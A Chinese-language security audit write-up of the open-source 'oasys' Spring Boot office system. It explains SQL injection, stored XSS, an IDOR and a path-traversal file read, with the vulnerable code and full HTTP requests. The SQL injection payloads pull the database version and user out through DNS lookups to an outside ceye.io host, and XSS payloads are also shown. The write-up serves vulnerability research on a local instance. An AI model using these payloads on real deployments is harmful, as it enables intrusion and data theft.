前言
oasys是一个OA办公自动化系统,使用Maven进行项目管理,基于springboot框架开发的项目,mysql底层数据库,前端采用freemarker模板引擎,Bootstrap作为前端UI框架,集成了jpa、mybatis等框架。,源码可以访问链接下载:https://gitee.com/aaluoxiang/oa_system?_from=gitee_search 或者gitee搜索oasys自行下载。
审计过程采用白加黑方式,主要通过黑盒测试白盒确认。
环境搭建
环境搭建没有什么特别的,数据库创建oasys的数据库后导入oasys.sql,然后在application.properties文件中配置数据库地址就可以了。
配置文件中的Windows path需要根据自己系统环境调整,不然上传文件时会出错。
漏洞挖掘
SQL注入(通知列表)
首先拿到代码后看一下依赖,发现项目中使用了mybatis,然后找到映射文件看一下有没有用${}的:
<select id="sortMyNotice" resultType="java.util.Map">
SELECT n.*,u.* FROM
aoa_notice_list AS n LEFT JOIN aoa_notice_user_relation AS u ON
n.notice_id=u.relatin_notice_id WHERE u.relatin_user_id=#{userId}
<if test="baseKey !=null">
and n.title LIKE '%${baseKey}%'
</if>
ORDER BY
<choose>
<when test="type ==1">
n.type_id DESC
</when>
<when test="type ==0">
n.type_id ASC
</when>
<when test="status ==1">
n.status_id DESC
</when>
<when test="status ==0">
n.status_id ASC
</when>
<when test="time ==1">
n.modify_time DESC
</when>
<when test="time ==0">
n.modify_time ASC
</when>
<otherwise>
n.is_top DESC,u.is_read ASC ,n.modify_time DESC
</otherwise>
</choose>
</select>
可以看到,果然有接口使用了${}字符串拼接。
接下来在控制器中搜索一下看哪个控制器使用了该接口,最终在通知列表处找到一次使用:
@RequestMapping("informlistpaging")
public String informListPaging(@RequestParam(value = "pageNum", defaultValue = "1") int page,
@RequestParam(value = "baseKey", required = false) String baseKey,
@RequestParam(value="type",required=false) Integer type,
@RequestParam(value="status",required=false) Integer status,
@RequestParam(value="time",required=false) Integer time,
@RequestParam(value="icon",required=false) String icon,
@SessionAttribute("userId") Long userId,
Model model,HttpServletRequest req){
System.out.println("baseKey:"+baseKey);
System.out.println("page:"+page);
setSomething(baseKey, type, status, time, icon, model);
PageHelper.startPage(page, 10);
List<Map<String, Object>> list=nm.sortMyNotice(userId, baseKey, type, status, time);
PageInfo<Map<String, Object>> pageinfo=new PageInfo<Map<String, Object>>(list);
List<Map<String, Object>> list2=informRelationService.setList(list);
for (Map<String, Object> map : list2) {
System.out.println(map);
}
model.addAttribute("url", "informlistpaging");
model.addAttribute("list", list2);
model.addAttribute("page", pageinfo);
return "inform/informlistpaging";
}
接下来就是构造请求测试了,最终请求如下:
POST /informlistpaging HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8088/infromlist
Cookie: JSESSIONID=E1CAE199E0792413332653B46083EE6C
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
baseKey=1'+and+updatexml(1,concat(1,load_file(concat('\\\\',(select+version()),'.km0q00.ceye.io\\abc'))),3)+and+'1'='1
因为该接口不会将报错回显到前端,所以这里使用dnslog进行测试。发送上面请求后在dnslog服务器可以看到:
SQL注入(通讯录)
这个注入和上面一样,同样因为使用${}进行字符串拼接。
映射文件如下:
<select id="allDirector" resultType="java.util.Map">
SELECT d.*,u.*
FROM aoa_director_users AS u LEFT JOIN aoa_director AS d ON
d.director_id = u.director_id
WHERE u.user_id=#{userId} AND u.director_id is NOT null AND u.is_handle=1
<if test="pinyin !='ALL'">
AND d.pinyin LIKE '${pinyin}%'
</if>
<if test="outtype !=null and outtype !=''">
AND u.catelog_name = '${outtype}'
</if>
<if test="baseKey !=null and baseKey !=''">
AND
(d.user_name LIKE '%${baseKey}%'
OR d.phone_number LIKE '%${baseKey}%'
OR d.companyname LIKE '%${baseKey}%'
OR d.pinyin LIKE '${baseKey}%'
OR u.catelog_name LIKE '%${baseKey}%'
)
</if>
order by u.catelog_name
</select>
控制器代码如下:
@RequestMapping("outaddresspaging")
public String outAddress(@RequestParam(value="pageNum",defaultValue="1") int page,Model model,
@RequestParam(value="baseKey",required=false) String baseKey,
@RequestParam(value="outtype",required=false) String outtype,
@RequestParam(value="alph",defaultValue="ALL") String alph,
@SessionAttribute("userId") Long userId
){
PageHelper.startPage(page, 10);
List<Map<String, Object>> directors=am.allDirector(userId, alph, outtype, baseKey);
List<Map<String, Object>> adds=addressService.fengzhaung(directors);
PageInfo<Map<String, Object>> pageinfo=new PageInfo<>(directors);
if(!StringUtils.isEmpty(outtype)){
model.addAttribute("outtype", outtype);
}
Pageable pa=new PageRequest(0, 10);
Page<User> userspage=uDao.findAll(pa);
List<User> users=userspage.getContent();
model.addAttribute("modalurl", "modalpaging");
model.addAttribute("modalpage", userspage);
model.addAttribute("users", users);
model.addAttribute("userId", userId);
model.addAttribute("baseKey", baseKey);
model.addAttribute("directors", adds);
model.addAttribute("page", pageinfo);
model.addAttribute("url", "outaddresspaging");
return "address/outaddrss";
}
构造请求如下:
POST /outaddresspaging HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: http://127.0.0.1:8088
Connection: close
Referer: http://127.0.0.1:8088/addrmanage
Cookie: JSESSIONID=E1CAE199E0792413332653B46083EE6C
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
alph=1'+and+updatexml(1,concat(1,load_file(concat('\\\\',(select+hex(user())),'.km0q00.ceye.io\\abc'))),3)+and+'1'='1
接下来在dnslog服务器看回显:
存储XSS(部门管理)
漏洞位于部门管理->添加部门处:
在各个字段输入正常数据后添加,抓包修改。因为直接输入payload前端会有检测。
请求包解码后如下:
POST /deptedit HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 509
Origin: http://127.0.0.1:8088
Connection: close
Referer: http://127.0.0.1:8088/deptedit
Cookie: JSESSIONID=EBC3C3E0FBD0F25F4160EEC34E9160BF
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
xg=add&deptName=<img src='x' onerror=alert(1)>&deptTel=<img src='x' onerror=alert(2)>&deptFax=<img src='x' onerror=alert(3)>&email=<img src='x' onerror=alert(4)>&deptAddr=<img src='x' onerror=alert(5)>&deptId=
放行数据包后刷新页面会看到多次弹窗,说明上面几个字段均没有XSS过滤。接下来查看一下代码:
@RequestMapping(value = "deptedit" ,method = RequestMethod.POST)
public String adddept(@Valid Dept dept,@RequestParam("xg") String xg,BindingResult br,Model model){
System.out.println(br.hasErrors());
System.out.println(br.getFieldError());
if(!br.hasErrors()){
System.out.println("没有错误");
Dept adddept = deptdao.save(dept);
if("add".equals(xg)){
System.out.println("新增拉");
Position jinli = new Position();
jinli.setDeptid(adddept.getDeptId());
jinli.setName("经理");
Position wenyuan = new Position();
wenyuan.setDeptid(adddept.getDeptId());
wenyuan.setName("文员");
pdao.save(jinli);
pdao.save(wenyuan);
}
if(adddept!=null){
System.out.println("插入成功");
model.addAttribute("success",1);
return "/deptmanage";
}
}
System.out.println("有错误");
model.addAttribute("errormess","错误!~");
return "user/deptedit";
}
可以看到没有进行任何过滤直接调用deptdao.save将数据存入数据库。
存储XSS(用户管理)
用户管理->编辑用户处存在存储XSS。
这里用真实姓名字段举例,保存后刷新页面可以看到弹窗,说明存在XSS。
查看代码:
@RequestMapping(value="useredit",method = RequestMethod.POST)
public String usereditpost(User user,
@RequestParam("deptid") Long deptid,
@RequestParam("positionid") Long positionid,
@RequestParam("roleid") Long roleid,
@RequestParam(value = "isbackpassword",required=false) boolean isbackpassword,
Model model) throws PinyinException {
System.out.println(user);
System.out.println(deptid);
System.out.println(positionid);
System.out.println(roleid);
Dept dept = ddao.findOne(deptid);
Position position = pdao.findOne(positionid);
Role role = rdao.findOne(roleid);
if(user.getUserId()==null){
String pinyin=PinyinHelper.convertToPinyinString(user.getUserName(), "", PinyinFormat.WITHOUT_TONE);
user.setPinyin(pinyin);
user.setPassword("123456");
user.setDept(dept);
user.setRole(role);
user.setPosition(position);
user.setFatherId(dept.getDeptmanager());
udao.save(user);
}else{
User user2 = udao.findOne(user.getUserId());
user2.setUserTel(user.getUserTel());
user2.setRealName(user.getRealName());
user2.setEamil(user.getEamil());
user2.setAddress(user.getAddress());
user2.setUserEdu(user.getUserEdu());
user2.setSchool(user.getSchool());
user2.setIdCard(user.getIdCard());
user2.setBank(user.getBank());
user2.setThemeSkin(user.getThemeSkin());
user2.setSalary(user.getSalary());
user2.setFatherId(dept.getDeptmanager());
if(isbackpassword){
user2.setPassword("123456");
}
user2.setDept(dept);
user2.setRole(role);
user2.setPosition(position);
udao.save(user2);
}
model.addAttribute("success",1);
return "/usermanage";
}
可以看到同样没有任何过滤就直接存入数据库。
这说明XSS全站存在多处,其他的就不列举了。
越权
漏洞位于流程管理->我的申请->查看流程处:
看一下请求包:
GET /particular?id=31&typename=费用报销 HTTP/1.1
Host: 127.0.0.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1:8088/flowmanage
Cookie: JSESSIONID=D79721DA94625A3A1B120C3D839F0E1E
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
可以看到URL中有个id参数,猜测该参数为流程id标识,看一下后端代码:
User user=udao.findOne(userId);//审核人或者申请人
User audit=null;//最终审核人
String id=req.getParameter("id");
Long proid=Long.parseLong(id);
String typename=req.getParameter("typename");//类型名称
String name=null;
Map<String, Object> map=new HashMap<>();
ProcessList process=prodao.findOne(proid);//查看该条申请
Boolean flag=process.getUserId().getUserId().equals(userId);//判断是申请人还是审核人
if(!flag){
name="审核";
}else{
name="申请";
}
这里只放上部分关键代码,可以看到首先获取了当前用户对象,然后根据URL中的ID参数获取了流程对象,并且对比userID判断是申请人还是审批人。可以看出并没有对其他用户越权访问进行处理。
使用另外一个低权限账号登录系统,首先查看流程列表:
可以看到没有任何流程,接下来使用该用户cookie来调用查看流程的接口来枚举流程:
可以看到枚举出很多流程,证明越权确实存在。
任意文件读取
文章发出后,浮萍大佬看了说这个CMS还有个任意文件读取。自己太菜了,又漏洞了。。。
漏洞文件位于:src/main/java/cn/gson/oasys/controller/user/UserpanelController.java
src/main/java/cn/gson/oasys/controller/process/ProcedureController.java
两个文件都存在该漏洞,原理一致,这里拿第一个来说明。
在该控制器的image方法,存在任意文件读取漏洞,代码如下:
@RequestMapping("image/**")
public void image(Model model, HttpServletResponse response, @SessionAttribute("userId") Long userId, HttpServletRequest request)
throws Exception {
String projectPath = ClassUtils.getDefaultClassLoader().getResource("").getPath();
System.out.println(projectPath);
String startpath = new String(URLDecoder.decode(request.getRequestURI(), "utf-8"));
String path = startpath.replace("/image", "");
File f = new File(rootpath, path);
ServletOutputStream sos = response.getOutputStream();
FileInputStream input = new FileInputStream(f.getPath());
byte[] data = new byte[(int) f.length()];
IOUtils.readFully(input, data);
// 将文件流输出到浏览器
IOUtils.write(data, sos);
input.close();
sos.close();
}
可以看到代码中首先通过getRequestURI方法当前访问的相对路径,然后将该路径中的iamge替换为空。接下来与rootpath拼接然后通过File打开文件后返回前端。
通过替换”/image”的操作,我们可以构造…/来造成目录穿越从而进行任意文件读取,BP请求如下:
总结
心细挖一切。